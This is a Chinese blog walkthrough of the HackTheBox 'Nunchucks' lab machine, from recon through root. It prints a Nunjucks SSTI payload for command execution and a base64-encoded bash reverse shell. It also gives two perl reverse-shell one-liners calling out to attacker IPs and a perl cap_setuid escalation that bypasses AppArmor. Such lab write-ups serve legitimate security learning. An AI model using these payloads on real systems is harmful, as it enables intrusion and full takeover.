HackTheBox | Nunchucks

HackTheBox | Nunchucks

nmap扫描,开放22、80、443

image-20230107131958769

修改本地hosts文件,访问web站点

image-20230107132150832

找到登录页面和注册页面,但是都被禁用

image-20230107132423149

dirsearch扫描也没有什么有效信息

image-20230107132917181

在页面最下方看到links,其中有个store还未上线

看了wp之后知道,确实存在store这个站点,将store.nunchucks.htb添加到hosts文件中访问

image-20230107133308810

在页面中输入框内输入内容,发现会回显到前端

image-20230107133451569

尝试SSTI,确实存在;由于直接输入{{3*3}}时会提示让输入邮箱,所以写成了完整的邮箱格式

image-20230107133543559

使用payload成功命令执行,参考《SANDBOX BREAKOUT - A VIEW OF THE NUNJUCKS TEMPLATE ENGINE》http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}

image-20230107140440770

反弹shell

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzEyMzQgMD4mMSI=|base64 -d|bash -i')\")()}}

image-20230107140753266

检查SUID,看到/usr/sbin/pppd

image-20230107141039629

上传LinEnum.sh信息收集

看到特殊cap特权,perl存在cap_setuid权限

image-20230107141529493

找到特权利用方法

image-20230107141817716

直接使用上面的无法获取到root权限的shell,所以尝试命令执行,发现可以执行一些简单的命令

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'

image-20230107141826371

尝试直接使用perl反弹shell,在网上找到两种perl反弹shell的方式,第二种成功getshell;第一种会在接收到shell之后立即断开

# 方法一
perl -e 'use Socket;$i="10.10.10.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 方法二
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

方法二反弹回来的shell权限如下

image-20230107143745024

但是问题在于,虽然是root用户,仍然无法读取root路径下的内容,提示权限不足

查看wp之后,看到涉及到apparmor,又是一个没有接触过的东西

查找资料《apparmor_什么是AppArmor?如何确保Ubuntu安全?》https://blog.csdn.net/culingluan4376/article/details/108708675

apparmor可以用于细粒度的权限控制,其配置文件位于/etc/apparmor.d路径下

进入路径,看到了配置文件

image-20230107144334471

usr.bin.perl文件中记录了perl的权限控制情况,可以看到拒绝了对/root路径下文件的读写执行,所以无法看到root用户家目录下的内容

# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}

其中有一个特殊的perl文件/opt/backup.pl,查看文件内容

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";

虽然不会perl编程,但是可以强行理解以下脚本内容。大概作用就是将/var/www目录下的内容进行压缩,然后存储到/opt/web_backups路径下,好像没有可以利用的点

又是参考了wp,利用了apparmor对perl限制的一个bug,参考《Unable to prevent execution of shebang lines》https://bugs.launchpad.net/apparmor/+bug/1911431

该bug大概是描述了可以通过执行perl脚本的方式绕过perl -e执行过程中的权限限制。将前面利用的perl+cap命令执行的语句改写为脚本,然后执行,确实成功绕过限制。

image-20230107145643139

image-20230107145609156

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值